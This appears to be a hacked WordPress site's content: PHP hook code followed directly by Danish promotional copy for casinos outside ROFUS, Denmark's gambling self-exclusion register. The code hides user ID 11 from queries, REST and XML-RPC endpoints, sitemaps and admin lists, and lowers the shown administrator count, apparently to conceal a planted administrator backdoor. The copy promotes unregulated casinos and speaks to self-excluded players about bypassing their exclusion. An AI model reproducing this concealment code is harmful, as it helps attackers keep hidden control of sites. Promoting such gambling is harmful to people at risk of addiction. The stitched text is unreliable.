add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 11;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 11;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 11;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
ROFUS står for Register Over Frivilligt Udelukkede Spillere. Alle casinoer med dansk licens er tvunget til at være koblet på systemet, hvor spillere kan udelukke sig selv i alt fra 24 timer til en permanent periode. Registreringen kan ikke fortrydes – når du er inde, er du inde.
Casinoer uden ROFUS opererer i stedet under internationale licenser fra Malta, Curaçao, Anjouan eller Estland. Det betyder ingen NemID, ingen automatisk spilpause og ingen dansk klageinstans. Forskellen er ikke kun teknisk – den mærkes i alt fra bonusser til skatteforhold:
| Parameter | Dansk casino | Casino uden ROFUS |
|---|---|---|
| Bonusloft | Maks. 1.000 kr. | Op til 38.000 kr. og opefter |
| Identifikation | NemID/MitID | E-mail, adgangskode og billed-ID |
| Spiludvalg | Begrænset, flere titler forbudt | 5.000-15.000 titler fra 70+ udbydere |
| Omsætningskrav | Lave og faste | Typisk 35x-50x, varierer kraftigt |
| Skat på gevinster | Skattefrit | Fri inden for EU – ~40 % uden for EU |
Udenlandske casinoer tilbyder velkomstpakker, danske spillere ellers kun kender fra reklamer i udlandet: matchbonusser på 100-250 % og gratis spins i flere hundrede stykker. Der er krypto-betalinger med udbetalinger på under en time, cashback uden omsætning og feature-buy-slots, som er forbudt i Danmark. Men de store tal kommer med småt tryk – læs altid omsætningskravet, inden du glæder dig for tidligt.
Processen er enkel, men du bør gå til den som en voksen. Sådan her ser det typisk ud:
Casino uden ROFUS er ikke usikkert, men det er ureguleret fra dansk side. Vælg en EU-licens, sæt dine egne grænser fra dag ét, og regn 40 % skat ind i budgettet, hvis du spiller på en Curaçao- eller Anjouan-licens. Har du registreret dig i ROFUS, så lav om på din aftale med dig selv, før du omgår den – viljen til at stoppe er nemlig det eneste værktøj, der faktisk betyder noget. Spil for det, du har råd til at tabe, og lad velkomstbonussen være et plaster, ikke et mål.
]]>